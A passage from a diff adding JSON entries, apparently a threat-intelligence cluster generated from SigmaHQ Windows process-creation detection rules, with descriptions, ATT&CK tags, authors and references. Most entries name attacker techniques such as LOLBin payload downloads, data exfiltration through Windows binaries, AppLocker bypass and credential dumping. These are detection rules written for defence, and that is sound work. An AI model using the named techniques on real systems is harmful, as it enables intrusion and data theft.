"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/09", + "filename": "proc_creation_win_invoke_obfuscation_via_use_clip.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", + "uuid": "ac20ae82-8758-4f38-958e-b44a3140ca88", + "value": "Invoke-Obfuscation Via Use MSHTA", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_mhsta.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/08", + "filename": "proc_creation_win_invoke_obfuscation_via_use_mhsta.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", + "uuid": "36c5146c-d127-4f85-8e21-01bf62355d5a", + "value": "Invoke-Obfuscation Via Use Rundll32", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/10/08", + "filename": "proc_creation_win_invoke_obfuscation_via_use_rundll32.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", + "uuid": "e9f55347-2928-4c06-88e5-1a7f8169942e", + "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_win_invoke_obfuscation_via_var.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of IOX - a tool for port forwarding and intranet proxy purposes", + "uuid": "d7654f02-e04b-4934-9838-65c46f187ebc", + "value": "IOX Tunneling Tool", + "meta": { + "refs": [ + "https://github.com/EddieIvan01/iox", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iox.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090" + ], + "creation_date": "2022/10/08", + "filename": "proc_creation_win_iox.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect the use of Jlaive to execute assemblies in a copied PowerShell", + "uuid": "0a99eb3e-1617-41bd-b095-13dc767f3def", + "value": "Jlaive Usage For Assembly Execution In-Memory", + "meta": { + "refs": [ + "https://jstnk9.github.io/jstnk9/research/Jlaive-Antivirus-Evasion-Tool", + "https://github.com/ch2sh/Jlaive", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_jlaive_batch_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ], + "creation_date": "2022/05/24", + "filename": "proc_creation_win_jlaive_batch_execution.yml", + "author": "Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Ldifde.exe with specific command line arguments to potentially load an LDIF file containing HTTP-based arguments.\nLdifde.exe is present, by default, on domain controllers and only requires user-level authentication to execute.\n", + "uuid": "6f535e01-ca1f-40be-ab8d-45b19c0c8b7f", + "value": "Suspicious Ldifde Command Usage", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1564968845726580736", + "https://strontic.github.io/xcyclopedia/library/ldifde.exe-979DE101F5059CEC1D2C56967CA2BAC0.html", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105", + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/09/02", + "filename": "proc_creation_win_ldifde_file_load.yml", + "author": "@gott_cyber", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects MSHTA.EXE spwaned by SVCHOST as seen in LethalHTA and described in report", + "uuid": "ed5d72a6-f8f4-479d-ba79-02f6a80d7471", + "value": "MSHTA Spwaned by SVCHOST", + "meta": { + "refs": [ + "https://codewhitesec.blogspot.com/2018/07/lethalhta.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lethalhta.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.005" + ], + "creation_date": "2018/06/07", + "filename": "proc_creation_win_lethalhta.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Local accounts, System Owner/User discovery using operating systems utilities", + "uuid": "502b42de-4306-40b4-9596-6f590c81f073", + "value": "Local Accounts Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_local_system_owner_account_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "attack.t1087.001" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_local_system_owner_account_discovery.yml", + "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administrator or user enumerates local users for legitimate reason" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "d85873ef-a0f8-4c48-a53a-6b621f11729d", + "value": "Use of LogMeIn Remote Access Software", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logmein.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/02/11", + "filename": "proc_creation_win_logmein.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation or execution of UserInitMprLogonScript persistence method", + "uuid": "0a98a10c-685d-4ab0-bddc-b6bdd1d48458", + "value": "Logon Scripts (UserInitMprLogonScript)", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1037/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logon_scripts_userinitmprlogonscript_proc.yml" + ], + "tags": [ + "attack.t1037.001", + "attack.persistence" + ], + "creation_date": "2019/01/12", + "filename": "proc_creation_win_logon_scripts_userinitmprlogonscript_proc.yml", + "author": "Tom Ueltschi (@c_APT_ure), Tim Shelton", + "level": "high", + "falsepositive": [ + "Exclude legitimate logon scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule will monitor any office apps that spins up a new LOLBin process. This activity is pretty suspicious and should be investigated.", + "uuid": "23daeb52-e6eb-493c-8607-c4f0246cb7d8", + "value": "New Lolbin Process by Office Applications", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/splunk/security_content/blob/develop/detections/endpoint/office_spawning_control.yml", + "https://twitter.com/andythevariable/status/1576953781581144064?s=20&t=QiJILvK4ZiBdR8RJe24u-A", + "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbins_by_office_applications.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_lolbins_by_office_applications.yml", + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Michael Haag, Christopher Peacock @securepeacock (Update), SCYTHE @scythe_io (Update)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule will monitor LOLBin process creations by wmiprvse. Add more LOLBins to rule logic if needed.", + "uuid": "8a582fe2-0882-4b89-a82a-da6b2dc32937", + "value": "Lolbins Process Creation with WmiPrvse", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbins_with_wmiprvse_parent_process.yml" + ], + "tags": [ + "attack.t1204.002", + "attack.t1047", + "attack.t1218.010", + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_lolbins_with_wmiprvse_parent_process.yml", + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The \"AdPlus.exe\" binary that is part of the Windows SDK can be used as a lolbin to dump process memory and execute arbitrary commands", + "uuid": "2f869d59-7f6a-4931-992c-cce556ff2d53", + "value": "Use of Adplus.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Adplus/", + "https://twitter.com/nas_bench/status/1534916659676422152", + "https://twitter.com/nas_bench/status/1534915321856917506", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_adplus.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1003.001" + ], + "creation_date": "2022/06/09", + "filename": "proc_creation_win_lolbin_adplus.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of Adplus" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execute C# code with the Build Provider and proper folder structure in place.", + "uuid": "a01b8329-5953-4f73-ae2d-aa01e1f35f00", + "value": "Suspicious aspnet_compiler.exe Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_aspnet_compiler.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1127" + ], + "creation_date": "2021/11/24", + "filename": "proc_creation_win_lolbin_aspnet_compiler.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Performs execution of specified file, can be used for defensive evasion.", + "uuid": "5edc2273-c26f-406c-83f3-f4d948e740dd", + "value": "Suspicious Subsystem for Linux Bash Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Bash/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2021/11/24", + "filename": "proc_creation_win_lolbin_bash.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a user downloads file by using CertOC.exe", + "uuid": "70ad0861-d1fe-491c-a45f-fa48148a300d", + "value": "Suspicious File Download via CertOC.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Certoc/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_certoc_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/05/16", + "filename": "proc_creation_win_lolbin_certoc_download.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of Xwizard tool with specific arguments which utilized to run custom class properties.", + "uuid": "53d4bb30-3f36-4e8a-b078-69d36c4a79ff", + "value": "Custom Class Execution via Xwizard", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_win_lolbin_class_exec_xwizard.yml", + "author": "Ensar \u015eamil, @sblmsrsn, @oscd_initiative", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", + "uuid": "a0459f02-ac51-4c09-b511-b8c9203fc429", + "value": "Execution via CL_Invocation.ps1", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", + "https://twitter.com/bohops/status/948061991012327424", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_invocation.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/14", + "filename": "proc_creation_win_lolbin_cl_invocation.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of a Microsoft signed script to execute commands and bypassing AppLocker.", + "uuid": "c57872c7-614f-4d7f-a40d-b78c8df2d30d", + "value": "CL_LoadAssembly.ps1 Proxy Execution", + "meta": { + "refs": [ + "https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/", + "https://lolbas-project.github.io/lolbas/Scripts/CL_LoadAssembly/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_loadassembly.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2022/05/21", + "filename": "proc_creation_win_lolbin_cl_loadassembly.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of a Microsoft signed script to execute commands", + "uuid": "1e0e1a81-e79b-44bc-935b-ddb9c8006b3d", + "value": "CL_Mutexverifiers.ps1 Proxy Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_mutexverifiers.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2022/05/21", + "filename": "proc_creation_win_lolbin_cl_mutexverifiers.yml", + "author": "oscd.community, Natalia Shornikova, frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "lolbas Cmdl32 is use to download a payload to evade antivirus", + "uuid": "f37aba28-a9e6-4045-882c-d5004043b337", + "value": "Suspicious Cmdl32 Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/", + "https://twitter.com/SwiftOnSecurity/status/1455897435063074824", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cmdl32.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218", + "attack.t1202" + ], + "creation_date": "2021/11/03", + "filename": "proc_creation_win_lolbin_cmdl32.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Upload file, credentials or data exfiltration with Binary part of Windows Defender", + "uuid": "1f0f6176-6482-4027-b151-00071af39d7e", + "value": "Suspicious ConfigSecurityPolicy Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/ConfigSecurityPolicy/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567" + ], + "creation_date": "2021/11/26", + "filename": "proc_creation_win_lolbin_configsecuritypolicy.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries can abuse of C:\\Windows\\System32\\gatherNetworkInfo.vbs script along with cscript.exe to gather information about the target", + "uuid": "575dce0c-8139-4e30-9295-1ee75969f7fe", + "value": "GatherNetworkInfo.vbs Script Usage", + "meta": { + "refs": [ + "https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cscript_gathernetworkinfo.yml" + ], + "tags": [ + "attack.discovery", + "attack.execution", + "attack.t1615", + "attack.t1059.005" + ], + "creation_date": "2022/01/03", + "filename": "proc_creation_win_lolbin_cscript_gathernetworkinfo.yml", + "author": "blueteamer8699", + "level": "medium", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of CustomShellHost binary where the child isn't located in 'C:\\Windows\\explorer.exe'", + "uuid": "84b14121-9d14-416e-800b-f3b829c5a14d", + "value": "Suspicious CustomShellHost Execution", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/180", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_customshellhost.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_customshellhost.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a user performs data exfiltration by using DataSvcUtil.exe", + "uuid": "e290b10b-1023-4452-a4a9-eb31a9013b3a", + "value": "LOLBAS Data Exfiltration by DataSvcUtil.exe", + "meta": { + "refs": [ + "https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6", + "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe", + "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services", + "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services", + "https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567" + ], + "creation_date": "2021/09/30", + "filename": "proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml", + "author": "Ialle Teixeira @teixeira0xfffff, Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "DataSvcUtil.exe being used may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "DataSvcUtil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of DeviceCredentialDeployment to hide a process from view", + "uuid": "b8b1b304-a60f-4999-9a6e-c547bde03ffd", + "value": "DeviceCredentialDeployment Execution", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/pull/147", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_device_credential_deployment.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/08/19", + "filename": "proc_creation_win_lolbin_device_credential_deployment.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Compress target file into a cab file stored in the Alternate Data Stream (ADS) of the target file.", + "uuid": "6b369ced-4b1d-48f1-b427-fdc0de0790bd", + "value": "Suspicious Diantz Alternate Data Stream Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Diantz/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2021/11/26", + "filename": "proc_creation_win_lolbin_diantz_ads.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Very Possible" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Download and compress a remote file and store it in a cab file on local machine.", + "uuid": "185d7418-f250-42d0-b72e-0c8b70661e93", + "value": "Suspicious Diantz Download and Compress Into a CAB File", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Diantz/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2021/11/26", + "filename": "proc_creation_win_lolbin_diantz_remote_cab.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of Xwizard tool from the non-default directory which can be used to sideload a custom xwizards.dll", + "uuid": "193d5ccd-6f59-40c6-b5b0-8e32d5ddd3d1", + "value": "Xwizard DLL Sideloading", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/", + "http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2021/09/20", + "filename": "proc_creation_win_lolbin_dll_sideload_xwizard.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Windows installed on non-C drive" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a user bypasses Defender by renaming a tool to dump64.exe and placing it in a Visual Studio folder", + "uuid": "129966c9-de17-4334-a123-8b58172e664d", + "value": "Suspicious Dump64.exe Execution", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1460597833917251595", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dump64.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2021/11/26", + "filename": "proc_creation_win_lolbin_dump64.yml", + "author": "Austin Songer @austinsonger, Florian Roth", + "level": "high", + "falsepositive": [ + "Dump64.exe in other folders than the excluded one" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries can abuse winget to download payloads remotely and execute them without touching disk. Winget will be included by default in Windows 10 and is already available in Windows 10 insider programs. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe's, msi, msix files later.", + "uuid": "313d6012-51a0-4d93-8dfc-de8553239e25", + "value": "Monitoring Winget For LOLbin Execution", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/package-manager/winget/install#local-install", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_execution_via_winget.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059" + ], + "creation_date": "2020/04/21", + "filename": "proc_creation_win_lolbin_execution_via_winget.yml", + "author": "Sreeman, Florian Roth, Frack113", + "level": "medium", + "falsepositive": [ + "Admin activity installing packages not in the official Microsoft repo. Winget probably won't be used by most users." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Extexport.exe loads dll and is execute from other folder the original path", + "uuid": "fb0b815b-f5f6-4f50-970f-ffe21f253f7a", + "value": "Suspicious Extexport Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Extexport/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extexport.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/11/26", + "filename": "proc_creation_win_lolbin_extexport.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Download or Copy file with Extrac32", + "uuid": "aa8e035d-7be4-48d3-a944-102aec04400d", + "value": "Suspicious Extrac32 Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2021/11/26", + "filename": "proc_creation_win_lolbin_extrac32.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Extract data from cab file and hide it in an alternate data stream", + "uuid": "4b13db67-0c45-40f1-aba8-66a1a7198a1e", + "value": "Suspicious Extrac32 Alternate Data Stream Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2021/11/26", + "filename": "proc_creation_win_lolbin_extrac32_ads.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Attackers can use findstr to hide their artifacts or search specific strings and evade defense mechanism", + "uuid": "bf6c39fc-e203-45b9-9538-05397c1b4f3f", + "value": "Abusing Findstr for Defense Evasion", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Findstr/", + "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.t1564.004", + "attack.t1552.001", + "attack.t1105" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_win_lolbin_findstr.yml", + "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Administrative findstr usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execute commands and binaries from the context of \"forfiles\". This is used as a LOLBIN for example to bypass application whitelisting.", + "uuid": "9aa5106d-bce3-4b13-86df-3a20f1d5cf0b", + "value": "Use of Forfiles For Execution", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Forfiles/", + "https://pentestlab.blog/2020/07/06/indirect-command-execution/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_forfiles.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/06/14", + "filename": "proc_creation_win_lolbin_forfiles.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use by a via a 